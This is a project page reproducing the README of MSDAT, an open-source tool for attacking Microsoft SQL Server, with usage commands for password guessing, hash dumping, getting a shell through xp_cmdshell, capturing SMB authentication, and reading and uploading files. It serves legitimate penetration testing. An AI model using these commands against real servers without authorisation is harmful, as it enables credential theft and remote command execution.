All Projects → quentinhardy → Msdat

quentinhardy / Msdat

Licence: gpl-3.0
MSDAT: Microsoft SQL Database Attacking Tool

Programming Languages

python
139335 projects - #7 most used programming language

Projects that are alternatives of or similar to Msdat

Sudo killer
A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo for linux privilege escalation.
Stars: ✭ 1,073 (+72.79%)
Mutual labels:  pentest, pentest-tool, privilege-escalation
Odat
ODAT: Oracle Database Attacking Tool
Stars: ✭ 906 (+45.89%)
Mutual labels:  pentest, pentest-tool, privilege-escalation
Yuki Chan The Auto Pentest
Automate Pentest Tool
Stars: ✭ 556 (-10.47%)
Mutual labels:  pentest, pentest-tool
Kaboom
A tool to automate penetration tests
Stars: ✭ 322 (-48.15%)
Mutual labels:  pentest, pentest-tool
Payloadsallthethings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF
Stars: ✭ 32,909 (+5199.36%)
Mutual labels:  pentest, privilege-escalation
Awesome Windows Red Team
A curated list of awesome Windows frameworks, libraries, software and resources for Red Teams
Stars: ✭ 308 (-50.4%)
Mutual labels:  pentest, privilege-escalation
Hackerenv
Stars: ✭ 309 (-50.24%)
Mutual labels:  pentest, pentest-tool
Open Redirect Payloads
Open Redirect Payloads
Stars: ✭ 361 (-41.87%)
Mutual labels:  pentest, pentest-tool
Writeups
This repository contains writeups for various CTFs I've participated in (Including Hack The Box).
Stars: ✭ 61 (-90.18%)
Mutual labels:  pentest, privilege-escalation
Blackmamba
C2/post-exploitation framework
Stars: ✭ 544 (-12.4%)
Mutual labels:  pentest, pentest-tool
Awesome Privilege Escalation
A curated list of awesome privilege escalation
Stars: ✭ 413 (-33.49%)
Mutual labels:  pentest, privilege-escalation
Justtryharder
JustTryHarder, a cheat sheet which will aid you through the PWK course & the OSCP Exam. (Inspired by PayloadAllTheThings)
Stars: ✭ 450 (-27.54%)
Mutual labels:  pentest, pentest-tool
Subscraper
Subdomain enumeration through various techniques
Stars: ✭ 265 (-57.33%)
Mutual labels:  pentest, pentest-tool
Overlord
Overlord - Red Teaming Infrastructure Automation
Stars: ✭ 258 (-58.45%)
Mutual labels:  pentest, pentest-tool
Getaltname
Extract subdomains from SSL certificates in HTTPS sites.
Stars: ✭ 320 (-48.47%)
Mutual labels:  pentest, pentest-tool
tomcter
😹 Tomcter is a python tool developed to bruteforce Apache Tomcat manager login with Apache Tomcat default credentials.
Stars: ✭ 18 (-97.1%)
Mutual labels:  pentest, pentest-tool
Suid3num
A standalone python script which utilizes python's built-in modules to enumerate SUID binaries, separate default binaries from custom binaries, cross-match those with bins in GTFO Bin's repository & auto-exploit those, all with colors! ( ͡~ ͜ʖ ͡°)
Stars: ✭ 342 (-44.93%)
Mutual labels:  pentest, privilege-escalation
Thc Archive
All releases of the security research group (a.k.a. hackers) The Hacker's Choice
Stars: ✭ 474 (-23.67%)
Mutual labels:  pentest, pentest-tool
crawleet
Web Recon & Exploitation Tool.
Stars: ✭ 48 (-92.27%)
Mutual labels:  pentest, pentest-tool
offensive-docker-vps
Create a VPS on Google Cloud Platform or Digital Ocean easily with Offensive Docker included to launch assessment to the targets.
Stars: ✭ 66 (-89.37%)
Mutual labels:  pentest, pentest-tool
Quentin HARDY
[email protected]
[email protected]

MSDAT

MSDAT (Microsoft SQL Database Attacking Tool) is an open source penetration testing tool that tests the security of Microsoft SQL Databases remotely.

Usage examples of MSDAT:

  • You have a Microsoft database listening remotely and you want to find valid credentials in order to connect to the database
  • You have a valid Microsoft SQL account on a database and you want to escalate your privileges
  • You have a valid Microsoft SQL account and you want to execute commands on the operating system hosting this DB (e.g. xp_cmdshell, OLE Automation, Agent Jobs)

Tested on Microsof SQL database 2005, 2008, 2012, 2014 and 2016.

Python 3 compatible only since version 2.0.

Changelog

  • Version 2.1 (2020/03/04) :
    • Option --nmap-file for loading all mssql services from a XML nmap file (python-libnmap has to be installed)
  • Version 2.0 (2020/03/04) :
    • Python 2 to Python 3: MSDAT is compatible with Python 3 only now. Python 2 is not supported.
    • Separator option in password guesser module
    • Improvements in error catching in --put-file option of xpcmdshell module
    • Improvements in reverse shell option of jobs mobule
    • OLE automation module - command execution improvements
    • OLE automation module - Powershell reverse shell implemented
    • new option for printing list of agents jobs and their code: --print-jobs
  • Version 1.2 (2020/02/26) :
    • New method in xpCmdShell module: Upload a binary file with powershell (--put-file)
    • Improvement in oleAutomation: upload the file in binary mode instead of text file
  • Version 1.1 (2019/07/12) :
  • Version 1.0 (2017/02/15) :
    • first version realeased

Features

Thanks to MSDAT (Microsoft SQL Database Attacking Tool), you can (no exhaustive list):

  • get technical information (ex: database version) of a MSSQL database without to be authenticated
  • load a nnmap file for scanning all MSSQL targets
  • search MSSQL accounts with a dictionnary attack
  • test each login as password (authentication required)
  • get a windows shell on the database server with
    • xp_cmdshell
    • OLE Automation
    • Jobs
  • download files remotely with:
    • OLE Automation
    • bulkinsert
    • openrowset
  • upload files on the server with:
    • OLE Automation
    • openrowset
  • capture a SMB authentication thanks to:
    • bulkinsert
    • openrowset
    • xp_dirtree
    • xp_fileexist
    • xp-getfiledetails
  • steal MSSQL hashed password, on an any MSSQL version
  • scan ports through the database:
    • openrowset
  • execute SQL requests on a remote MSSQL server trough the database (target) with:
    • bulkinsert
    • openrowset
  • list files/directories with:
    • xp_subdirs
    • xp_dirtree
  • list drives/medias with:
    • xp_fixeddrives
    • xp_availablemedia
  • create folder with:
    • xp_create_subdir
  • search sensitive data in tables (e.g. credentials)

Installation

Some dependancies must be installed in order to run MSDAT.

In ubuntu:

sudo apt-get install freetds-dev 

or download freetds on http://www.freetds.org/

Install python dependencies:

sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete

Add "use ntlmv2 = yes" in your freetds configuration file (ex: /etc/freetds/freetds.conf or /usr/local/etc/freetds.conf). Example:

[global]
        # TDS protocol version
        tds version = 8.0
        use ntlmv2 = yes

How to begin

python3 msdat.py -h
usage: msdat.py [-h] [--version]
                {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
                ...

               _   _  __  __   _  ___ 
              | \_/ |/ _||  \ / \|_ _|
              | \_/ |\_ \| o ) o || | 
              |_| |_||__/|__/|_n_||_| 
                        
------------------------------------------------------
 _   _  __            __           _           ___ 
| \_/ |/ _|         |  \         / \         |_ _|
| \_/ |\_ \         | o )         o |         | | 
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool 
                        
-------------------------------------------------------

By Quentin Hardy ([email protected] or [email protected])

positional arguments:
  {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
                        
                        Choose a main command
    all                 to run all modules in order to know what it is possible to do
    mssqlinfo           to get information without authentication
    passwordguesser     to know valid credentials
    passwordstealer     to get hashed passowrds
    xpcmdshell          to get a shell
    jobs                to execute system commands
    smbauthcapture      to capture a SMB authentication
    oleautomation       to read/write file and execute system commands
    bulkopen            to read a file and scan ports
    xpdirectory         to list files/drives and to create directories
    trustworthype       to become sysadmin with the trustwothy database method
    userlikepwd         to try each MSSQL username stored in the DB like the corresponding pwd
    search              to search in column names
    cleaner             clean local traces

optional arguments:
  -h, --help            show this help message and exit
  --version             show program's version number and exit

Examples

Modules

  • You can list all modules:
./msdat.py -h
  • When you have chosen a module (example: all), you can use it and you can list all features and options of the module:
./msdat.py all -h

You can know if a specific module can be used on a MSSQL server thanks to the --test-module option. This options is implemented in each mdat module.

all module

The all module allows you to run all modules (depends on options that you have purchased).

python msdat.py all -s $SERVER

If you want:

  • to use your own account file for the dictionnary attack
  • try multiple passwords for a user without ask you
  • to define your own timeout value
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry

In each module, you can define the charset to use with the --charset option.

mssqlinfo module

To get technical information about a remote MSSQL server without to be authenticated:

./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info

This module uses TDS protocol and SQL browser Server to get information.

passwordguesser module

This module allows you to search valid credentials :

./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search

--force-retry option allows to test multiple passwords for each user without ask you

You can specify your own account file with the --accounts-file option:

./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry

passwordstealer module

To dump hashed passwords :

./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt

This modules has been tested on SQL Server 2000, 2005, 2008 and 2014.

xpcmdshell module

To execute system commands thanks to xp_cmdshell (https://msdn.microsoft.com/en-us/library/ms190693.aspx):

./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell

This previous command give you an interactive shell on the remote database server.

If xp_cmdshell is not enabled, the --enable-xpcmdshell can be used in this module to activate it:

./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell

The --enable-xpcmdshell option enables xp_cmdshell if it is not enabled (not enabled by default).

The --disable-xpcmdshell option disables xp_cmdshell if this one is enabled.

smbauthcapture module

Thanks to this module, you can capture a SMB authentication:

./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE

To capture the SMB authentication, the auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) module of metasploit could be used:

msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit

The capture command of this module tries to capture a SMB authentication thanks to xp_dirtree, xp_fileexist or xp-getfiledetails procedure.

If you want to choose the SMB authentication procedure to capture the authentication:

./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1

You can change the SHARE name with the --share-name option.

oleautomation module

This module can be used to read/write file in the database server.

The following command read the file temp.txt stored in the database server:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'

To write a string in a file (temp.txt) remotely:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'

This module can be used to download a file (C:\Users\Administrator\Desktop\temp.txt) stored on the database server:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

Also, you can use this module to upload a file (temp.txt) on the target:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt

bulkopen module

The module bulkopen can be used :

  • to read/download files stored on a database server
  • to scan ports through the database server
  • to execute SQL requests on a remote MSSQL server through the database

To read a file stored in the target, the following command can be used:

./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"

The --method option can be used to specify the method to use:

./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset

To download a file (C:\Users\Administrator\Desktop\temp.txt):` ``bash ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt


This module can be used to scan ports (1433 and 1434 of 127.0.0.1) through the database server:
```bash
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v

You can scan a range of ports:

./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438

This module can be used to execute SQL requests (ex: select @@ServerName) on a remote database server (ex: $SERVER2) through the database ($SERVER):

./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'

xpdirectory module

The module xpdirectory can be used:

  • to list:
  • files
  • directories
  • drives
  • to check if a file exists
  • to create a directory

To list files in a specific directory:

./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'

To list directories in a specific directory:

./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'

To list drives:

./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media

To check if a file exist:

./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'

To create a directory:

./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'

search module

The module search can be used to search a pattern in column names of tables and views. Usefull to search the pattern %password% in column names for example.

To get column names which contains password patterns (ex: passwd, password, motdepasse, clave):

./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

If you want to see column names which doesn't contain a data, you should use the option --show-empty-columns.

To search a specific pattern in column names of views and tables:

./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

Donation

If you want to support my work doing a donation, I will appreciate a lot:

  • Via BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf
Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].